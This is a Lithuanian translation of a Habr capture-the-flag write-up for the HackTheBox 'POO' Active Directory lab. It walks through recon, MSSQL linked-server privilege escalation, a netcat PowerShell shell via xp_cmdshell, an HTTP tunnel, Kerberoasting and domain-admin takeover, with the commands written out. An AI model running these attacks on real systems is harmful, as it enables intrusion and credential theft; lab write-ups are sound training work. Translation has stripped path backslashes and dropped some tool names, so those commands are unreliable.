Šiame straipsnyje mes analizuosime ne tik mašinos, bet ir visos mini laboratorijos išėjimą iš svetainės
Kaip nurodyta aprašyme, POO yra sukurta siekiant išbandyti įgūdžius visuose atakų etapuose nedidelėje Active Directory aplinkoje. Tikslas yra pažeisti turimą pagrindinį kompiuterį, išplėsti privilegijas ir galiausiai pakenkti visam domenui, renkant 5 vėliavėles.
Ryšys su laboratorija vyksta per VPN. Rekomenduojame nesijungti iš veikiančio kompiuterio ar kompiuterio, kuriame yra jums svarbūs duomenys, nes patenkate į privatų tinklą su žmonėmis, kurie ką nors išmano apie informacijos saugumą 🙂
organizacinė informacija
Kad galėtumėte sužinoti apie naujus straipsnius, programinę įrangą ir kitą informaciją, sukūriau
Visa informacija pateikiama tik švietimo tikslais. Šio dokumento autorius neprisiima atsakomybės už bet kokią žalą, padarytą niekam dėl žinių ir metodų, gautų studijuojant šį dokumentą, panaudojimo.
Įvadas
Šis galutinis žaidimas susideda iš dviejų mašinų ir yra 5 vėliavėlės.
Taip pat pateikiamas turimo pagrindinio kompiuterio aprašymas ir adresas.
Pradėkime!
Žvalgo vėliava
Šio įrenginio IP adresas yra 10.13.38.11, kurį pridedu prie /etc/hosts.
10.13.38.11 poo.htb
Pirmasis žingsnis yra nuskaityti atvirus prievadus. Kadangi su nmap nuskaityti visus prievadus užtrunka ilgai, tai pirmiausia tai padarysiu su masscan. Nuskaitome visus TCP ir UDP prievadus iš tun0 sąsajos 500 pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Dabar, norėdami gauti išsamesnės informacijos apie prievaduose veikiančias paslaugas, paleiskite nuskaitymą naudodami parinktį -A.
nmap -A poo.htb -p80,1433
Taigi, mes turime IIS ir MSSQL paslaugas. Tokiu atveju išsiaiškinsime tikrąjį domeno ir kompiuterio DNS pavadinimą. Žiniatinklio serveryje mus pasitinka pagrindinis IIS puslapis.
Pakartokime katalogus. Tam naudoju gobuster. Parametruose nurodome srautų skaičių 128 (-t), URL (-u), žodyną (-w) ir mus dominančius plėtinius (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Taigi turime HTTP autentifikavimą /admin katalogui, taip pat pasiekiamą .DS_Store darbalaukio paslaugos saugyklos failą. .DS_Store yra failai, kuriuose saugomi aplanko vartotojo nustatymai, pvz., failų sąrašas, piktogramos vieta, pasirinktas fono vaizdas. Toks failas gali patekti į žiniatinklio kūrėjų žiniatinklio serverio katalogą. Taigi gauname informaciją apie katalogo turinį. Tam galite naudoti
python3 dsstore_crawler.py -i http://poo.htb/
Gauname katalogo turinį. Įdomiausias dalykas čia yra /dev katalogas, iš kurio galime matyti šaltinius ir db failus dviem šakomis. Tačiau galime naudoti pirmuosius 6 failų ir katalogų pavadinimų simbolius, jei paslauga yra pažeidžiama IIS ShortName. Galite patikrinti, ar nėra šio pažeidžiamumo, naudodami
Ir mes randame vieną tekstinį failą, kuris prasideda "poo_co". Nežinodama, ką daryti toliau, tiesiog iš katalogų žodyno išsirinkau visus žodžius, prasidedančius „co“.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Ir kartokite su wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Ir rask tinkamą žodį! Pažiūrime šį failą, išsaugome kredencialus (vertinant pagal DBNAME parametrą, jie yra iš MSSQL).
Paduodame vėliavą, ir 20 proc.
Huh vėliava
Jungiamės prie MSSQL, aš naudoju DBeaver.
Šioje duomenų bazėje nieko įdomaus nerandame, sukurkime SQL redaktorių ir patikrinkime, kokie yra vartotojai.
SELECT name FROM master..syslogins;
Turime du vartotojus. Patikrinkime savo privilegijas.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Taigi privilegijų nėra. Pažiūrėkime susietus serverius, apie šią techniką rašiau išsamiai
SELECT * FROM master..sysservers;
Taigi randame kitą SQL serverį. Patikrinkime komandų vykdymą šiame serveryje naudodami openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Ir netgi galime sukurti užklausų medį.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Faktas yra tas, kad kai pateikiame užklausą susietam serveriui, užklausa vykdoma kito vartotojo kontekste! Pažiūrėkime, kokį vartotojo kontekstą veikiame susietame serveryje.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
O dabar pažiūrėkime, kokiame kontekste vykdoma užklausa iš susieto serverio į mūsų!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Taigi, tai yra DBO kontekstas, kuris turi turėti visas privilegijas. Patikrinkime privilegijas, jei užklausa iš susieto serverio.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Kaip matote, mes turime visas privilegijas! Sukurkime savo administratorių taip. Bet jie neleidžia jiems naudoti atvirosios užklausos, padarykime tai per EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
O dabar susisiekiame su naujojo vartotojo kredencialais, stebime naują vėliavėlių duomenų bazę.
Paduodame šią vėliavą ir einame toliau.
Vėliava vėliavėlė
Gaukime apvalkalą naudodami MSSQL, aš naudoju mssqlclient iš impacket paketo.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Turime gauti slaptažodžius, o pirmas dalykas, kurį jau sutikome, yra svetainė. Taigi mums reikia žiniatinklio serverio konfigūracijos (neįmanoma išmesti patogaus apvalkalo, matyt, ugniasienė veikia).
Tačiau prieiga uždrausta. Nors galime nuskaityti failą iš MSSQL, mums tereikia žinoti, kokios programavimo kalbos yra sukonfigūruotos. O MSSQL kataloge sužinome, kad yra Python.
Tada nėra jokių problemų skaityti web.config failą.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Radę kredencialus, eikite į /admin ir pasiimkite vėliavėlę.
pėdos vėliava
Tiesą sakant, naudojant užkardą kyla tam tikrų nepatogumų, tačiau peržvelgę tinklo nustatymus pastebime, kad naudojamas ir IPv6 protokolas!
Pridėkite šį adresą prie /etc/hosts.
dead:babe::1001 poo6.htb
Dar kartą nuskaitykime pagrindinį kompiuterį, bet šį kartą per IPv6.
„WinRM“ paslauga pasiekiama per IPv6. Susisiekime su rastais kredencialais.
Ant darbastalio yra vėliavėlė, perduokite ją.
P00ned vėliava
Po žvalgybos ant šeimininko su
setspn.exe -T intranet.poo -Q */*
Vykdykime komandą per MSSQL.
Tokiu būdu gauname vartotojų SPN p00_hr ir p00_adm, o tai reiškia, kad jie yra pažeidžiami atakų, tokių kaip Kerberoasting. Trumpai tariant, galime gauti jų slaptažodžių maišą.
Pirmiausia turite gauti stabilų apvalkalą MSSQL vartotojo vardu. Bet kadangi mūsų prieiga yra ribota, ryšį su pagrindiniu kompiuteriu turime tik per 80 ir 1433 prievadus. Tačiau tuneliu eismą galima nukreipti per 80 uostą! Tam mes naudojame
Bet kai bandome prieiti, gauname klaidą 404. Tai reiškia, kad *.aspx failai nevykdomi. Norėdami, kad failai su šiais plėtiniais veiktų, įdiekite ASP.NET 4.5, kaip nurodyta toliau.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ir dabar, prisijungę prie tunnel.aspx, gauname atsakymą, kad viskas paruošta.
Pradėkime programos kliento dalį, kuri perduos srautą. Perduosime visą srautą iš 5432 prievado į serverį.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Ir mes naudojame tarpines grandines, norėdami siųsti bet kokios programos srautą per tarpinį serverį. Pridėkime šį tarpinį serverį prie /etc/proxychains.conf konfigūracijos failo.
Dabar įkelkime programą į serverį
Dabar per MSSQL paleidžiame klausytoją.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Ir mes jungiamės per tarpinį serverį.
proxychains rlwrap nc poo.htb 4321
Ir gaukime maišos.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Tada turite pakartoti šias maišas. Kadangi rockyou slaptažodžių duomenų žodyno neturėjo, naudojau VISUS slaptažodžių žodynus, pateiktus Seclists. Išvardinimui naudojame hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Ir abu slaptažodžius randame – pirmąjį dutch_passwordlist.txt žodyne, o antrąjį – Keyboard-Combinations.txt.
Taigi turime tris vartotojus, einame į domeno valdiklį. Pirmiausia išsiaiškinkime jo adresą.
Puiku, mes sužinojome domeno valdiklio IP adresą. Sužinokime visus domeno vartotojus, taip pat kuris iš jų yra administratorius. Norėdami atsisiųsti scenarijų ir gauti informacijos PowerView.ps1. Tada mes prisijungsime naudodami evil-winrm, nurodydami katalogą su scenarijumi parametre -s. Tada tiesiog įkelkite „PowerView“ scenarijų.
Dabar turime prieigą prie visų jo funkcijų. P00_adm vartotojas atrodo kaip privilegijuotas vartotojas, todėl dirbsime jo kontekste. Sukurkime šiam vartotojui PSCredential objektą.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Dabar visos „Powershell“ komandos, kuriose nurodome „Creds“, bus vykdomos p00_adm vardu. Parodykime vartotojų sąrašą ir atributą AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Taigi, mūsų vartotojas yra tikrai privilegijuotas. Pažiūrėkime, kurioms grupėms jis priklauso.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Galiausiai patvirtiname, kad vartotojas yra domeno administratorius. Tai suteikia teisę nuotoliniu būdu prisijungti prie domeno valdiklio. Pabandykime prisijungti prie WinRM naudodami mūsų tunelį. Buvau suglumęs dėl klaidų, kurias išleido reGeorg naudojant evil-winrm.
Tada naudojame kitą, lengvesnį,
Bandome prisijungti, ir esame sistemoje.
Bet vėliavos nėra. Tada pažiūrėkite į vartotoją ir patikrinkite stalinius kompiuterius.
Ties mr3ks randame vėliavėlę ir laboratorija 100% baigta.
Tai viskas. Kaip atsiliepimą pakomentuokite, ar sužinojote ką nors naujo iš šio straipsnio ir ar jis jums buvo naudingas.
Prie mūsų galite prisijungti adresu
Šaltinis: www.habr.com